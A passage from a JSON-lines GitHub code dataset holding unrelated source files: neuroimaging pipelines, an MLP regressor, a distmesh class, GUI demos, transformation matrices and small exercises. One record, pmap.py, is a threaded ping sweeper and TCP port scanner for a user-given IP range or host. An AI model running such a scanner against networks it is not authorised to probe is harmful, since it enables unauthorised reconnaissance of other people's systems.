mask(in_file=os.path.join(PREPROC_DIR,\n 'sub-%s' % subj,\n 'func',\n preproc_name),\n mask_file=os.path.join(PREPROC_DIR,\n 'sub-%s' % subj,\n 'func',\n mask_name)))\n return mask_results\n\n\ndef film_gls(mem, mask_results, modelgen_results):\n filmgls = mem.cache(fsl.FILMGLS)\n filmgls_results = []\n for s in range(len(SUBJECTS)):\n filmgls_results.append([])\n for r in range(num_runs):\n if s in EXCLUDING and EXCLUDING[s] == r:\n continue\n filmgls_results[s].append(filmgls(in_file=mask_results[s][r].outputs.out_file,\n design_file=modelgen_results[s][r].outputs.design_file,\n tcon_file=modelgen_results[s][r].outputs.con_file,\n fcon_file=modelgen_results[s][r].outputs.fcon_file,\n autocorr_noestimate=True))\n return filmgls_results\n\n\ndef main():\n print('Running subjects:', str(SUBJECTS))\n if not os.path.isdir(MEM_DIR):\n os.mkdir(MEM_DIR)\n mem = Memory(base_dir=MEM_DIR)\n layout = BIDSLayout(BIDS_DIR)\n # func_files[subject_index][run_index]\n if num_runs > 1:\n func_files = [[layout.get(type='bold', task=task, run=i+1, subject=subj, extensions='nii.gz')[0]\n for i in range(num_runs)] for subj in SUBJECTS]\n else:\n func_files = [layout.get(type='bold', task=task, subject=subj, extensions='nii.gz') for subj in SUBJECTS]\n events = get_events(func_files)\n confounds = get_confounds(func_files)\n info = get_info(events, confounds)\n specify_model_results = specify_model(layout, func_files, info)\n level1design_results = lv1_design(mem, layout, func_files, specify_model_results)\n modelgen_results = feat_model(mem, level1design_results)\n mask_results = masking(mem, func_files)\n film_gls(mem, mask_results, modelgen_results)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"CSNLab/misc-tools","sub_path":"neuro_data_snippets/post_fmriprep_lv1.py","file_name":"post_fmriprep_lv1.py","file_ext":"py","file_size_in_byte":10741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29159908284","text":"from sklearn.neural_network import MLPRegressor\nfrom sklearn.metrics import r2_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score\nimport pandas as pd\nimport numpy as np\n\nimport bagger as bg\n\nmeta_filen = \"merged_metakey.csv\"\n\ncols=['genres', 'keywords']\nf_cols = ['genres', 'keywords']\nc_cols = ['vote_average']\n\nx_data = pd.read_csv(meta_filen, usecols=f_cols)\ny = pd.read_csv(meta_filen, usecols=c_cols)\ny = np.ravel(y.as_matrix())\n\n'''\nbudget = x_data['budget'].as_matrix()\nrevenue = x_data['revenue'].as_matrix()\npopularity = x_data['popularity'].as_matrix()\n'''\n'''\nfull_doc = bg.getDoc(x_data, 'genres')\nvectorizer = bg.vectorizeDoc(full_doc)\ntext = bg.getVectors(full_doc, vectorizer)\n'''\n'''\nx_temp = []\nfor i in range(len(text)):\n\tnew_row = text[i]\n\tnew_row = np.append(new_row, budget[i])\n\tnew_row = np.append(new_row, revenue[i])\n\tnew_row = np.append(new_row, popularity[i])\n\tx_temp.append(new_row)\nx = np.array(x_temp)\n'''\n\n\nfull_doc_genres = bg.getDoc(x_data, 'genres')\nfull_doc_keywords = bg.getDoc(x_data, 'keywords')\nvectorizer1 = bg.vectorizeDoc(full_doc_genres)\nvectorizer2 = bg.hashDoc(full_doc_keywords)\nx1 = bg.getVectors(full_doc_genres, vectorizer1)\nx2 = bg.getVectors(full_doc_keywords, vectorizer2)\n\nx=[]\nfor i in range(len(x1)):\n\tnew_row = np.append(x1[i], x2[i])\n\tx.append(new_row)\nx = np.array(x)\n\nprint(\"beginning testing...\")\n\n\nx_train, x_test, y_train, y_test = train_test_split(x, y)\n\n\nactive = \"tanh\"\nsolve = 'lbfgs'\nlearning_r = 'constant'\nlayer_size=(80, 50, 10)\n\nprint(\"running model \"+str(layer_size)+\"...\")\nclf = MLPRegressor(activation=active, solver=solve, learning_rate=learning_r, hidden_layer_sizes=layer_size, random_state=1)\nclf = clf.fit(x_train, y_train)\npredicted = clf.predict(x_test)\naccuracy = r2_score(predicted, y_test)\nprint(\"R2 : \"+str(accuracy))\n\n'''\n\nlayer_sizes = [(5, 3, 1), (10, 5, 3), (20, 10, 5), (50, 20, 10), (100, 50, 20)]\n\nfor layer_size in layer_sizes:\n\n\tprint(\"running model \"+str(layer_size)+\"...\")\n\tclf = MLPRegressor(activation=active, solver=solve, learning_rate=learning_r, hidden_layer_sizes=layer_size, random_state=1)\n\tclf = clf.fit(x_train, y_train)\n\tpredicted = clf.predict(x_test)\n\taccuracy = r2_score(predicted, y_test)\n\tprint(\"R2 : \"+str(accuracy))\n\n'''\n","repo_name":"jpborrero/DataScienceProject","sub_path":"ann_implementation/ann_regressor.py","file_name":"ann_regressor.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39575346094","text":"import numpy as np\nimport cv2\nimport distmesh as dm \nimport cPickle \nimport scipy.spatial as spspatial\nimport distmesh.mlcompat as ml\nimport distmesh.utils as dmutils\n\nfrom imgproc import drawGrid\n\nclass DistMesh:\n\tdef __init__(self, frame, h0 = 35, dptol = 0.01):\n\t\tself.bars = None \n\t\tself.frame = frame \n\t\tself.dptol = dptol\n\t\tself.h0 = h0\n\t\tself.N = 0\n\t\tself.fh = dm.huniform; \n\t\tnx,ny = np.shape(frame)[0:2]\n\t\tself.nx = nx\n\t\tself.ny = ny\n\t\tself.bbox = (0, 0, ny, nx)\n\t\tself.ttol=.1\n\t\tself.Fscale=1.2\n\t\tself.deltat=.2\n\t\tself.geps=.001*h0;\n\t\tself.deps=np.sqrt(np.finfo(np.double).eps)*h0;\n\t\tself.densityctrlfreq = 1;\n\t\tself.k = 1.5\n\t\tself.maxiter = 500\n\t\t#Force law\n\t\t#self.F = lambda L: self.k/(L*(40-L))**2-1/400**2\n\t\tself.F = lambda L: -self.k*(L-h0)\n\n\tdef plot(self):\n\t\tfc = self.frame.copy()\n\t\tif self.bars is not None:\n\t\t\tdrawGrid(fc, self.p, self.bars)\n\t\t\tcv2.imshow('Current mesh',fc)\n\t\t\tk = cv2.waitKey(30) & 0xff\n\n\tdef createMesh(self, ctrs, fd, frame, plot = False):\n\t\tself.frame = frame \n\t\tpfix = None \n\t\n\t\t# Extract bounding box\n\t\txmin, ymin, xmax, ymax = self.bbox\n\t\tif pfix is not None:\n\t\t\tpfix = np.array(pfix, dtype='d')\n\t\t\n\t\t#1. Set up initial points \n\t\tx, y = np.mgrid[xmin:(xmax+self.h0):self.h0,\n\t\t\t\t\t\t\t\t\t\tymin:(ymax+self.h0*np.sqrt(3)/2):self.h0*np.sqrt(3)/2]\n\t\tx[:, 1::2] += self.h0/2 # Shift even rows\n\t\tp = np.vstack((x.flat, y.flat)).T # List of node coordinates\n\t\t\n\t\t# 2. Remove points outside the region, apply the rejection method\n\t\ta = fd(p)\n\t\tp = p[np.where(a self.ttol: # Any large movement?\n\t\t\t\tpold = p.copy() # Save current positions\n\t\t\t\tself.delaunay = spspatial.Delaunay(p)\n\t\t\t\tt = self.delaunay.vertices # List of triangles\n\t\t\t\tpmid = p[t].sum(1)/3 # Compute centroids\n\t\t\t\tt = t[fd(pmid) < -self.geps] # Keep interior triangles\n\t\t\t\t# 4. Describe each bar by a unique pair of nodes\n\t\t\t\tbars = np.vstack((t[:, [0,1]],\n\t\t\t\t\t\t\t\t\tt[:, [1,2]],\n\t\t\t\t\t\t\t\t\tt[:, [2,0]])) # Interior bars duplicated\n\t\t\t\tbars.sort(axis=1)\n\t\t\t\tbars = ml.unique_rows(bars) # Bars as node pairs\n\t\t\t\t#Plot\n\t\t\t\tfc = frame.copy()\n\t\t\t\tif frame is not None:\n\t\t\t\t\tdrawGrid(fc, p, bars)\n\t\t\t\t\tif plot:\n\t\t\t\t\t\tcv2.imshow('Initial mesh',fc)\n\t\t\t\t\t\tk = cv2.waitKey(30) & 0xff\n\t\t\t\t\t\tif k == 27:\n\t\t\t\t\t\t\tbreak\n\t\t\n\t\t\t# 6. Move mesh points based on bar lengths L and forces F\n\t\t\tbarvec = p[bars[:,0]] - p[bars[:,1]] # List of bar vectors\n\t\t\tL = np.sqrt((barvec**2).sum(1)) # L = Bar lengths\n\t\t\thbars = self.fh(p[bars].sum(1)/2)\n\t\t\tL0 = 1.5*self.h0*np.ones_like(L); #(hbars*Fscale\n\t\t\t\t\t\t#*np.sqrt((L**2).sum()/(hbars**2).sum())) # L0 = Desired lengths\n\t\t\n\t\t\tF = self.k*(L0-L)\n\t\t\tF[F<0] = 0#F[F<0]*.5#0 # Bar forces (scalars)\n\t\t\tFvec = F[:,None]/L[:,None].dot([[1,1]])*barvec # Bar forces (x,y components)\n\t\t\tFtot = ml.dense(bars[:,[0,0,1,1]],\n\t\t\t\t\t\t\t\t\t\t\tnp.repeat([[0,1,0,1]], len(F), axis=0),\n\t\t\t\t\t\t\t\t\t\t\tnp.hstack((Fvec, -Fvec)),\n\t\t\t\t\t\t\t\t\t\t\tshape=(N, 2))\n\t\t\tFtot[:nfix] = 0 # Force = 0 at fixed points\n\t\t\tp += self.deltat*Ftot # Update node positions\n\t\t\n\t\t\t# 7. Bring outside points back to the boundary\n\t\t\td = fd(p); ix = d>0 # Find points outside (d>0)\n\t\t\tddeps = 1e-1\n\t\t\tfor idx in range(10):\n\t\t\t\tif ix.any():\n\t\t\t\t\tdgradx = (fd(p[ix]+[ddeps,0])-d[ix])/ddeps # Numerical\n\t\t\t\t\tdgrady = (fd(p[ix]+[0,ddeps])-d[ix])/ddeps # gradient\n\t\t\t\t\tdgrad2 = dgradx**2 + dgrady**2\n\t\t\t\t\tp[ix] -= (d[ix]*np.vstack((dgradx, dgrady))/dgrad2).T # Project\n\t\t\n\t\t\t# 8. Termination criterion: All interior nodes move less than dptol (scaled)\n\t\t\tif (np.sqrt((self.deltat*Ftot[d<-self.geps]**2).sum(1))/self.h0).max() < self.dptol:\n\t\t\t\tbreak\n\t\t\n\t\tself.p = p \n\t\tself.t = t \n\t\tself.bars = bars\n\t\tself.L = L \n\n\tdef updateMesh(self, ctrs, fd, frame_orig, pfix = None, n_iter = 20):\n\t\tdeltat = 0.1\n\t\txmin, ymin, xmax, ymax = self.bbox\n\t\t\n\t\tif pfix is not None:\n\t\t\tself.p = ml.setdiff_rows(self.p, pfix)\n\t\t\tpfix = ml.unique_rows(pfix)\n\t\t\tnfix = pfix.shape[0]\n\t\telse:\n\t\t\tnfix = 0\n\t\n\t\tN = self.p.shape[0] # Number of points N\n\t\tpold = float('inf') # For first iteration\n\t\n\t\t################################################################################\n\t\t#Mesh updates\n\t\t################################################################################\n\t\t\n\t\t#self.delaunay = spspatial.Delaunay(self.p)\n\t\t#self.t = self.delaunay.vertices # List of triangles\n\t\tfor ii in range(n_iter):\n\t\t\tdist = lambda p1, p2: np.sqrt(((p1-p2)**2).sum(1))\n\t\t\tif (dist(self.p, pold)/self.h0).max() > self.ttol: # Any large movement?\n\t\t\t\tpold = self.p.copy() # Save current positions\n\t\t\t\tpmid = self.p[self.t].sum(1)/3 # Compute centroids\n\t\t\t\tself.t = self.t[fd(pmid) < -self.geps] # Keep interior triangles\n\t\t\t\tbars = np.vstack((self.t[:, [0,1]],\n\t\t\t\t\t\t\t\t\tself.t[:, [1,2]],\n\t\t\t\t\t\t\t\t\tself.t[:, [2,0]])) # Interior bars duplicated\n\t\t\t\tbars.sort(axis=1)\n\t\t\t\tbars = ml.unique_rows(bars) # Bars as node pairs\n\t\n\t\t\tbarvec = self.p[bars[:,0]] - self.p[bars[:,1]] # List of bar vectors\n\t\t\tL = np.sqrt((barvec**2).sum(1)) # L = Bar lengths\n\t\t\thbars = self.fh(self.p[bars].sum(1)/2)\n\t\t\tL0 = 1.4*self.h0*np.ones_like(L);\n\t\t\n\t\t\t#F = self.k*(L0-L)\n\t\t\t#F[F<0] = 0 # Bar forces (scalars)\n\t\t\tF = self.F(L) \n\t\t\tFvec = F[:,None]/L[:,None].dot([[1,1]])*barvec # Bar forces (x,y components)\n\t\t\tFtot = ml.dense(bars[:,[0,0,1,1]],\n\t\t\t\t\t\t\t\t\t\t\tnp.repeat([[0,1,0,1]], len(F), axis=0),\n\t\t\t\t\t\t\t\t\t\t\tnp.hstack((Fvec, -Fvec)),\n\t\t\t\t\t\t\t\t\t\t\tshape=(N, 2))\n\t\t\tFtot[:nfix] = 0 # Force = 0 at fixed points\n\t\t\t#self.p += self.deltat*Ftot # Update node positions\n\t\t\tself.p += deltat*Ftot # Update node positions\n\t\t\n\t\t\td = fd(self.p); ix = d>0 # Find points outside (d>0)\n\t\t\tddeps = 1e-1\n\t\t\tfor idx in range(10):\n\t\t\t\tif ix.any():\n\t\t\t\t\tdgradx = (fd(self.p[ix]+[ddeps,0])-d[ix])/ddeps # Numerical\n\t\t\t\t\tdgrady = (fd(self.p[ix]+[0,ddeps])-d[ix])/ddeps # gradient\n\t\t\t\t\tdgrad2 = dgradx**2 + dgrady**2\n\t\t\t\t\tself.p[ix] -= (d[ix]*np.vstack((dgradx, dgrady))/dgrad2).T # Project\t\n\n\t\tself.bars = bars\n\t\tself.L = L \n\n\tdef size(self):\n\t\treturn self.N\n\n\tdef save(self, fn_out):\n\t\tf = open(fn_out, 'wb')\n\t\tfor obj in [self.N, self.bars, self.frame, self.dptol, self.nx, self.ny,\\\n\t\t self.bbox, self.ttol, self.Fscale, self.deltat, self.geps, self.deps,\\\n\t\t self.densityctrlfreq, self.k, self.maxiter, self.p, self.t, self.bars, self.L]:\n\t\t\tcPickle.dump(obj, f, protocol=cPickle.HIGHEST_PROTOCOL)\n\t\tf.close()\n\n\tdef load(self, fn_in):\n\t\tf = open(fn_in, 'rb')\n\t\tloaded_objects = []\n\t\tfor i in range(19):\n\t\t\tloaded_objects.append(cPickle.load(f))\n\t\tf.close()\n\t\t[self.N, self.bars, self.frame, self.dptol, self.nx, self.ny,\\\n\t\t self.bbox, self.ttol, self.Fscale, self.deltat, self.geps, self.deps,\\\n\t\t self.densityctrlfreq, self.k, self.maxiter, self.p, self.t, self.bars,\\\n\t\t self.L] = loaded_objects","repo_name":"hydradarpa/kalman-hydra","sub_path":"distmesh_dyn.py","file_name":"distmesh_dyn.py","file_ext":"py","file_size_in_byte":8190,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"20760412951","text":"import PySimpleGUI as sg\n\nlayout = [\n [sg.Text(\"What's your name?\")],\n [sg.Input(key='-INPUT-')],\n [sg.Text(size=(40, 1), key='-OUTPUT-')],\n [sg.Button('Ok'), sg.Button('Quit')]\n]\n\nwindow = sg.Window('Interactive Window', layout)\n\nwhile True:\n event, values = window.read()\n if event == sg.WINDOW_CLOSED or event == 'Quit':\n break\n breakpoint()\n window['-OUTPUT-'].update('Hello ' + values['-INPUT-'] + \"! Thanks for trying PySimpleGUI\")\n\nwindow.close()\n","repo_name":"shengzhc/sc-pysimplegui","sub_path":"src/interactive_window.py","file_name":"interactive_window.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28812545805","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#-Imports----------------------------------------------------------------------\n\n#--wxPython Imports.\nimport wx\n\n\n#- wxPython Demo --------------------------------------------------------------\n__wxPyOnlineDocs__ = 'https://wxpython.org/Phoenix/docs/html/wx.SingleChoiceDialog.html'\n__wxPyDemoPanel__ = 'TestPanel'\n\noverview = \"\"\"\\\nThis class represents a dialog that shows a list of strings, and allows the user\nto select one. Double-clicking on a list item is equivalent to single-clicking\nand then pressing OK.\n\nAs with all dialogs, be sure to retrieve the information you need BEFORE you\ndestroy the dialog.\n\"\"\"\n\nclass TestPanel(wx.Panel):\n def __init__(self, parent, log):\n self.log = log\n wx.Panel.__init__(self, parent, -1)\n\n b = wx.Button(self, -1, \"Create and Show a SingleChoiceDialog\", (50,50))\n self.Bind(wx.EVT_BUTTON, self.OnButton, b)\n\n\n def OnButton(self, evt):\n dlg = wx.SingleChoiceDialog(\n self, 'Test Single Choice', 'The Caption',\n ['zero', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight'],\n wx.CHOICEDLG_STYLE\n )\n\n if dlg.ShowModal() == wx.ID_OK:\n self.log.WriteText('You selected: %s\\n' % dlg.GetStringSelection())\n\n dlg.Destroy()\n\n\n#- wxPy Demo -----------------------------------------------------------------\n\n\ndef runTest(frame, nb, log):\n win = TestPanel(nb, log)\n return win\n\n\n#- __main__ Demo --------------------------------------------------------------\n\n\nclass printLog:\n def __init__(self):\n pass\n\n def write(self, txt):\n print('%s' % txt)\n\n def WriteText(self, txt):\n print('%s' % txt)\n\n\nclass TestFrame(wx.Frame):\n def __init__(self, parent, id=wx.ID_ANY, title=wx.EmptyString,\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=wx.DEFAULT_FRAME_STYLE, name='frame'):\n wx.Frame.__init__(self, parent, id, title, pos, size, style, name)\n\n log = printLog()\n\n panel = TestPanel(self, log)\n self.Bind(wx.EVT_CLOSE, self.OnDestroy)\n\n\n def OnDestroy(self, event):\n self.Destroy()\n\n\nclass TestApp(wx.App):\n def OnInit(self):\n gMainWin = TestFrame(None)\n gMainWin.SetTitle('Test Demo')\n gMainWin.Show()\n\n return True\n\n\n#- __main__ -------------------------------------------------------------------\n\n\nif __name__ == '__main__':\n import sys\n print('Python %s.%s.%s %s' % sys.version_info[0:4])\n print('wxPython %s' % wx.version())\n gApp = TestApp(redirect=False,\n filename=None,\n useBestVisual=False,\n clearSigInt=True)\n\n gApp.MainLoop()\n","repo_name":"Metallicow/wxPython-Sample-Apps-and-Demos","sub_path":"101_Common_Dialogs/SingleChoiceDialog/SingleChoiceDialog_extended.py","file_name":"SingleChoiceDialog_extended.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"62"} +{"seq_id":"26947590418","text":"# coding=utf-8\r\n\"\"\"\r\nDaniel Calderon, CC3501, 2019-1\r\nTransformation matrices for computer graphics\r\nv1.0\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\ndef identity():\r\n return np.identity(4, dtype=np.float32)\r\n\r\ndef uniformScale(s):\r\n return np.array([\r\n [s,0,0,0],\r\n [0,s,0,0],\r\n [0,0,s,0],\r\n [0,0,0,1]], dtype = np.float32).T\r\n\r\n\r\ndef scale(sx, sy, sz):\r\n return np.array([\r\n [sx,0,0,0],\r\n [0,sy,0,0],\r\n [0,0,sz,0],\r\n [0,0,0,1]], dtype = np.float32).T\r\n\r\n\r\ndef rotationX(theta):\r\n sin_theta = np.sin(theta)\r\n cos_theta = np.cos(theta)\r\n\r\n return np.array([\r\n [1,0,0,0],\r\n [0,cos_theta,-sin_theta,0],\r\n [0,sin_theta,cos_theta,0],\r\n [0,0,0,1]], dtype = np.float32).T\r\n\r\n\r\ndef rotationY(theta):\r\n sin_theta = np.sin(theta)\r\n cos_theta = np.cos(theta)\r\n\r\n return np.array([\r\n [cos_theta,0,sin_theta,0],\r\n [0,1,0,0],\r\n [-sin_theta,0,cos_theta,0],\r\n [0,0,0,1]], dtype = np.float32).T\r\n\r\n\r\ndef rotationZ(theta):\r\n sin_theta = np.sin(theta)\r\n cos_theta = np.cos(theta)\r\n\r\n return np.array([\r\n [cos_theta,-sin_theta,0,0],\r\n [sin_theta,cos_theta,0,0],\r\n [0,0,1,0],\r\n [0,0,0,1]], dtype = np.float32).T\r\n\r\n\r\ndef rotationA(theta, axis):\r\n s = np.sin(theta)\r\n c = np.cos(theta)\r\n\r\n assert axis.shape == (3,)\r\n\r\n x = axis[0]\r\n y = axis[1]\r\n z = axis[2]\r\n\r\n return np.array([\r\n # First row\r\n [c + (1 - c) * x * x,\r\n (1 - c) * x * y - s * z,\r\n (1 - c) * x * z + s * y,\r\n 0],\r\n # Second row\r\n [(1 - c) * x * y + s * z,\r\n c + (1 - c) * y * y,\r\n (1 - c) * y * z - s * x,\r\n 0],\r\n # Third row\r\n [(1 - c) * x * z - s * y,\r\n (1 - c) * y * z + s * x,\r\n c + (1 - c) * z * z,\r\n 0],\r\n # Fourth row\r\n [0,0,0,1]], dtype = np.float32).T\r\n\r\n\r\ndef translate(tx, ty, tz):\r\n return np.array([\r\n [1,0,0,tx],\r\n [0,1,0,ty],\r\n [0,0,1,tz],\r\n [0,0,0,1]], dtype = np.float32).T\r\n\r\n\r\ndef shearing(xy, yx, xz, zx, yz, zy):\r\n return np.array([\r\n [ 1, xy, xz, 0],\r\n [yx, 1, yz, 0],\r\n [zx, zy, 1, 0],\r\n [ 0, 0, 0, 1]], dtype = np.float32).T\r\n\r\n\r\ndef matmul(mats):\r\n out = mats[-1]\r\n for i in range(len(mats) - 2, -1, -1):\r\n out = np.matmul(mats[i], out)\r\n\r\n return out\r\n","repo_name":"mvarasg/demops3_ws","sub_path":"visualizadoneitor/transformations.py","file_name":"transformations.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"70146965318","text":"#!/usr/bin/env python\nimport os\nfrom setuptools import setup\n\ndef read(filen):\n with open(os.path.join(os.path.dirname(__file__), filen), \"r\") as fp:\n return fp.read()\n\nsetup (\n name = \"HieraPy\",\n version = \"0.0.3\",\n description=\"Shy implementation of Puppet's Hiera configuration tool.\",\n long_description=read(\"README.md\"),\n author=\"Ivan N. (based on previous work by Alec Elton)\",\n author_email=\"ivannpaz@gmail.com\",\n url=\"https://github.com/ivannpaz/HieraPy\",\n packages=[\"hierapy\", \"tests\"],\n test_suite=\"nose.collector\",\n tests_require=[\"nose\", \"chai\", \"PyYAML\"],\n install_requires=[\"PyYAML\"]\n)\n","repo_name":"ivannpaz/HieraPy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17507054245","text":"import math\r\n\r\na,b,angle=map(int,input().split())\r\n\r\nS=a*b*0.5*math.sin(math.radians(angle))\r\nc=math.sqrt(a**2+b**2-2*a*b*math.cos(math.radians(angle)))\r\n#余弦定理で辺の长さを求める\r\nL=a+b+c\r\nh=2*S/a\r\n\r\nprint('{:.5f}'.format(S))\r\nprint('{:.5f}'.format(L))\r\nprint('{:.5f}'.format(h))\r\n\r\n#三角関数の公式\r\n#https://atarimae.biz/archives/24942\r\n#https://math-jp.net/2018/08/18/dai2-yogen-teiri/","repo_name":"endokazuki/algorithm","sub_path":"algorithm/basic/10/10-B.py","file_name":"10-B.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30892814356","text":"import cv2\n\nimport mediapipe as mp\nimport time\n#视频操作函数\n#也可以导入视频\ncap = cv2.VideoCapture(1)\n#手部跟踪 处理的事RGB格式 所以使用 hands.process()处理的图像必须是RGB格式\nmyHands= mp.solutions.hands\nhands= myHands.Hands()\nmpDraw = mp.solutions.drawing_utils\npTime = 0\ncTime = 0\n\n\nwhile 1:\n #读取摄像头每一帧并显示\n success,img= cap.read()\n cv2.imshow(\"image\",img)\n #必须是RGB格式 而得到的图像默认是BGR格式所以要转\n img_R= cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n result = hands.process(img_R)\n #检测所有手的列表,对列表进行访问可以获得 手的位置信息\n if(result.multi_hand_landmarks):\n for handLms in result.multi_hand_landmarks:\n #每一个标志位都有一个id 获取并将其显示\n for id,lm in enumerate(handLms.landmark):\n h, w, c = img.shape\n #获取界面中的坐标 ,这里经过测试是获取的小数需要*界面获取真正坐标\n cx, cy = int(lm.x*w), int(lm.y*h)\n cv2.putText(img, str(int(id)), (cx , cy ), cv2.FONT_HERSHEY_PLAIN,\n 1, (0, 0, 255), 2)\n cv2.imshow(\"Image\", img)\n cv2.waitKey(1)\n\n","repo_name":"TristanWH/D-118-code","sub_path":"WH-CV-YYDS/final0.py","file_name":"final0.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"73533781317","text":"\n\ndef alternatingCharacters(s):\n deletions = 0\n if len(s) < 2:\n return deletions\n\n current_letter = \"\"\n for letter in s:\n if letter != current_letter:\n current_letter = letter\n else:\n deletions += 1\n\n return deletions\n\n\nif __name__ == '__main__':\n q = int(input().strip())\n for q_itr in range(q):\n s = input()\n result = alternatingCharacters(s)\n print(result)","repo_name":"leobeeson/hackerrank-practice-challenges","sub_path":"StringManipulation/AlternatingCharacters.py","file_name":"AlternatingCharacters.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"441618926","text":"\"\"\"empty message\n\nRevision ID: cebf62c9cdf4\nRevises: ad76c821ab86\nCreate Date: 2021-05-16 01:24:32.865019\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'cebf62c9cdf4'\ndown_revision = 'ad76c821ab86'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('customers', 'first_name',\n existing_type=mysql.VARCHAR(length=45),\n nullable=False)\n op.alter_column('customers', 'last_name',\n existing_type=mysql.VARCHAR(length=45),\n nullable=False)\n op.alter_column('customers', 'email',\n existing_type=mysql.VARCHAR(length=45),\n nullable=False)\n op.alter_column('customers', 'username',\n existing_type=mysql.VARCHAR(length=150),\n nullable=False)\n op.alter_column('customers', 'password',\n existing_type=mysql.VARCHAR(length=150),\n nullable=False)\n op.drop_constraint('employees_ibfk_1', 'employees', type_='foreignkey')\n op.drop_column('employees', 'department_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('employees', sa.Column('department_id', mysql.INTEGER(), autoincrement=False, nullable=True))\n op.create_foreign_key('employees_ibfk_1', 'employees', 'departments', ['department_id'], ['id'])\n op.alter_column('customers', 'password',\n existing_type=mysql.VARCHAR(length=150),\n nullable=True)\n op.alter_column('customers', 'username',\n existing_type=mysql.VARCHAR(length=150),\n nullable=True)\n op.alter_column('customers', 'email',\n existing_type=mysql.VARCHAR(length=45),\n nullable=True)\n op.alter_column('customers', 'last_name',\n existing_type=mysql.VARCHAR(length=45),\n nullable=True)\n op.alter_column('customers', 'first_name',\n existing_type=mysql.VARCHAR(length=45),\n nullable=True)\n # ### end Alembic commands ###\n","repo_name":"terryelsa/Website","sub_path":"migrations/versions/cebf62c9cdf4_.py","file_name":"cebf62c9cdf4_.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74697770436","text":"# 端口扫描器\nimport argparse\nimport os\nimport socket, sys, threading, time\nimport json\nfrom multiprocessing.dummy import Pool as ThreadPool\nfrom functools import partial\n\n\ndef ping(ip):\n result = os.system(f'ping -n 1 -w 1000 {ip}')\n if result:\n return False\n else:\n return True\n\n\nopenPortNum = 0\nsocket.setdefaulttimeout(3)\nthreads = []\n\n\ndef socket_port(port, ip):\n global openPortNum\n time.sleep(0.01)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n result = s.connect_ex((ip, port))\n if result == 0:\n openPortNum += 1\n else:\n print(port, \"is closed\")\n s.close()\n\n\ndef _main(params):\n if params.f == \"ping\":\n pings = params.ip\n start = pings.split(\"-\")[0].split(\".\")[-1]\n end = pings.split(\"-\")[1].split(\".\")[-1]\n prefix0 = pings.split(\"-\")[0].split(\".\")[0]\n prefix1 = pings.split(\"-\")[0].split(\".\")[1]\n prefix2 = pings.split(\"-\")[0].split(\".\")[2]\n\n new_ips = []\n\n for i in range(int(start), int(end) + 1):\n new_ip = f'{prefix0}.{prefix1}.{prefix2}.{str(i)}'\n new_ips.append(new_ip)\n pool = ThreadPool(params.n)\n pool.map(ping, new_ips)\n pool.close()\n pool.join()\n else:\n partial_socket_port = partial(socket_port, ip=params.ip)\n ports = [i for i in range(0, 5000)]\n pool = ThreadPool(params.n)\n pool.map(partial_socket_port, ports)\n pool.close()\n pool.join()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-n\", type=int, default=4, help=\"number of thread\")\n parser.add_argument(\"-f\", type=str, default=\"ping\", choices=['ping', 'tcp'], help=\"ping or tcp\")\n parser.add_argument(\"-ip\", type=str, help=\"ip \")\n args = parser.parse_args()\n _main(args)\n","repo_name":"Python000-class01/Python000-class01","sub_path":"Week_03/G20200343030407/pmap.py","file_name":"pmap.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"62"} +{"seq_id":"13716946544","text":"class EmailError(ValueError):\n # complete the class by adding status\n # and message arguments for the constructor\n def __init__(self, status, message):\n self.status = status\n self.message = message\n super().__init__(self.message)\n\n def __str__(self):\n return self.status + \" \" + self.message\n\nemail = \"admin#libray.net\"\ntry:\n if \"@\" not in email:\n raise EmailError(\"pending!\",\"wrong format!\")\nexcept EmailError as e:\n print(e)\n","repo_name":"carlonicolo/pcap_python_certification","sub_path":"emailerror.py","file_name":"emailerror.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21531068361","text":"from sc2 import AbilityId, UnitTypeId\nfrom sc2.unit import Unit\nfrom sc2.units import Units\n\nfrom spin_bot_base import 